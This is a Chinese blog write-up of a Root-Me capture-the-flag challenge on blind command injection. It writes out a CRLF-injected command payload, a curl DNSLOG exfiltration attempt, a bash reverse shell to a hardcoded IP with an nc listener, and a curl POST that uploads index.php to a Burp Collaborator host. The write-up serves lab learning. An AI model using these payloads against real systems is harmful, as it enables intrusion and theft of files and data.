无回显代码执行利用方法

2018-09-11 16:03:1020324人阅读

1.png

  在Root-Me上有一道代码执行的题目,其链接为题目链接

执行多条语句

  打开题目以后,在输入框中提示127.0.0.1


2.png

  输入127.0.0.1 && whoami进行测试:


3.png

  提示Syntax Error,通过测试,发现127.0.0.1%0d%0awhoami可以执行成功。


4.png

尝试DNSLOG获取回显

  使用反引号执行代码,并用curl将执行结果返回给DNSLOG


ip=127.0.0.1%0d%0acurl `whoami`.t00ls.3e426ecf5c48221e002db4ae061cc4bc.tu4.org


5.png

  代码正常执行,查看DNSLOG收到的回显。


6.png

  发现whoami没有被执行,而是原样返回。

尝试反弹shell

  既然不能直接执行,就想着用nc返回一个交互式的shell来读取flag。


#服务器端执行

nc -vv -lp 8888

#命令执行处执行

bash -i >& /dev/tcp/47.95.206.199/88880>&1

# payload

ip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/47.95.206.199/8888+0>%261



7.png

  显示执行成功,但是服务器端并没有受到反弹的shell。

curl上传文件

  这个方法是公司的大佬想出来的,并不是本人创作,这里只是记录。

curl可以正常执行,那么使用curl -F将flag文件上传到Burp的Collaborator ClientCollaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)。

  

获取Collaborator Client分配给BURP的链接。


打开Burp主界面 -->菜单(Burp-->Burp Collaboraor Client -- > 点击 Copy to Clipboard

粘贴出来大概这样:XXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net


  拼接Payload,并提交。


# payload

ip=127.0.0.1%0d%0acurl -X POST -F xx=@index.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

 

8.png

  查看Collaborator Client收到的数据。


9.png

  

可以看到成功读取到了源码。



文章来自Backer Talk原创作者 - admin_Tony,转载需注明出处及本文链接

【Backer Talk】BSRC白客说栏目专注于安全知识分享,长期向安全爱好者征集漏洞分析、漏洞挖掘姿势分享等安全相关内容,欢迎惠赐作品!详情点击【Backer Talk】


0
现金券
0
兑换券
立即领取
领取成功